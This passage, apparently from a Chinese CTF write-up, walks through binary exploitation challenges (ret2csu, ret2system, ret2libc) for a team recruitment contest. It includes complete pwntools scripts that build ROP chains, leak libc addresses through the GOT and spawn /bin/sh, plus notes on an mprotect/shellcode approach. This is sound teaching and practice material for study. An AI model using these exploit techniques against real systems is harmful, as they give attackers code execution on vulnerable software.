system_addr = libc_base + libc.dump('system')
execve_addr = libc_base + libc.dump('execve')

#
sh.recvuntil(b'\n')
bss_base = elf.bss()
csu(0,1,read_got,16,bss_base,0, main_addr)
sh.send(p64(execve_addr)+b'/bin/sh\x00')

#执行
sh.recvuntil(b'\n')
csu(0,1,bss_base,0,0,bss_base+8,main_addr)
sh.interactive()

其他方式

由于这道题目原题的远程是禁用了system和execve的,因此上述解法可能在原题中并不适用,原题的提示是要使用mmap和mprotect来解题,我们一起来看一下该怎么解。

  • void mmap(void addr, size_t len, int port, int flag, int filedes, off_t off)**

    mmap函数创建一块内存区域,将一个文件映射到该区域,进程可以像操作内存一样操作文件

  • int mprotect(void addr, size_t len, int port)*

    mprotect函数可以改变一块内存区域的权限(以页为单位),addr参数表示所改变内存区域的起始地址,也是对应内存块的指针,len代表内存块的大小,而prot代表内存块所拥有的权限。

    对于prot来说,对应权限依照以下规则改变值

    无法访问 即PROT_NONE:不允许访问,值为 0

    可读权限 即PROT_READ:可读,值加 1

    可写权限 即PROT_WRITE:可读, 值加 2

    可执行权限 即PROT_EXEC:可执行,值加 4

    例如:我们要将某块内存区域权限设置为可读可写可执行,那么mprotect函数中prot参数便应该是1+2+4=7。

思路就可以转变成通过mprotect改变bss段为可读写, 传入shellcode, 然后执行get shell

前面都是一样需要通过泄露libc来找到mprotect,后面就是调用mprotect改变bss段执行权限,之后再将asm(shellcraft.sh())写入bss段后执行bss段的代码即可。

但是这样写完之后发现必须要存在libc源文件才可以,因为plt表中并没有mprotect函数,要么就只能使用系统调用来写。因此使用这个方法远程并没有打通这道题,笔者的代码也不放出来献丑了,网上有很多脚本示例。

ret2reg

天璇战队2025招新

ret

image-20251011153617006

简单栈溢出,有system函数有"/bin/sh":

image-20251011153635272

image-20251011153952599

image-20251011154013118

接下来调试看需要填充的字符数以及覆盖返回地址为system即可,由于是64位程序,函数调用时的参数顺序第一个为rdi(前文有详细顺序描述)。也就是构造的栈需要将返回地址覆盖为pop rdi,ret; 随后紧跟"/bin/sh"的地址,随后再调用system函数即可。

找pop rdi:

image-20251011170721170

这里写完之后发现一直报错,由于是64位操作系统,在 x86_64 上,从 ROP 链 “ret 到一个函数(system)” 而不是通过 call 指令,会造成函数入口时 RSP 没有满足 16 字节对齐,GLIBC 的某些实现会在函数内部依赖对齐(导致 crash)。插入一个ret即可。

为什么要插 ret

  • x86_64 要求在函数被 call 进入时:RSP 在被 call 指令入栈返回地址后应是 16 字节对齐(函数入口时 RSP % 16 == 0)。
  • ROP 用 ret/gadget 链跳转到 system 时,没有 call 的那一步,可能导致 RSPsystem 入口处变为了 8 的偏移,从而触发某些 lib 内部的断言或造成异常访问(尤其是带 SSE/栈局部对齐敏感的实现)。

写poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

r = process('./ret')

pop_rdi_ret = 0x400773
ret_gadget = 0x400501

system_addr = 0x400530
bin_sh_addr = 0x400794

offset = 0x10 + 8

r.recvuntil(b"Just a simple sign-in!")

payload = b'a' * offset+ p64(ret_gadget) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
r.sendline(payload)
r.interactive()

libc

题目提示的很明显,ret2libc的题,看看基本情况

image-20251011172432843

栈不可执行,无所谓,libc也不需要执行栈中代码,查看一下

image-20251011172932377

简单的栈溢出,查看后发现可用函数中没有system,字符串中也没有"/bin/sh",但是可以找到puts函数,那么显而易见需要plt表来泄露偏移地址,找到system函数即可。先找填充:

image-20251011173630256

接下来构造栈,首先调用puts函数,泄露puts和gets的got表地址,随后再计算偏移偏移,构造出system函数在got表中的地址,最后调用system函数获取控制权限。64位系统调用函数传参通过rdi rsi这样的方式传,详情上网搜。找一下rdi和ret:
image-20251012211533903

这样栈对齐也有了,就能搓脚本了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
p = process('./pwnlibc')
e = ELF('./pwnlibc')
libc = ELF('./libc-2.23.so')

# 使用简单ROP(如果可用)
pop_rdi = 0x400713 # 使用 ROPgadget 查找
puts_got = e.got['puts']
puts_plt = e.plt['puts']
ret_gadget = 0x4004c9

main_addr = e.symbols['main']

padding = b'a' * (0x10 + 8)

# 第一步:泄露puts地址
payload1 = padding + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.recvuntil("No backdoors this time!\n")
p.sendline(payload1)

# 接收泄露地址
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
log.success("Leaked puts: " + hex(puts_addr))

# 计算libc基地址
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

log.success("libc base: " + hex(libc_base))
log.success("system: " + hex(system_addr))
log.success("/bin/sh: " + hex(binsh_addr))

# 第二步:system("/bin/sh")
p.recvuntil("No backdoors this time!\n")
payload2 = padding + p64(ret_gadget) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) + p64(0) # 添加返回地址
p.sendline(payload2)

p.interactive()

但是这个脚本实际运行的时候却发现libc库不对,将其换成我本地的"/lib/x86_64-linux-gnu/libc.so.6"就成功了(具体原因尚不清楚)

easy_syscall

题目给的提示很充足,我们查看一下程序信息:

image-20251015114510414

64位程序,看一下程序代码:
image-20251015114903872

image-20251015115008822

漏洞就存在于函数vuln中,也是栈溢出,既然题目提示了那就找一下ROPgadget:

sentences

dinner-chall

Pivot

uniform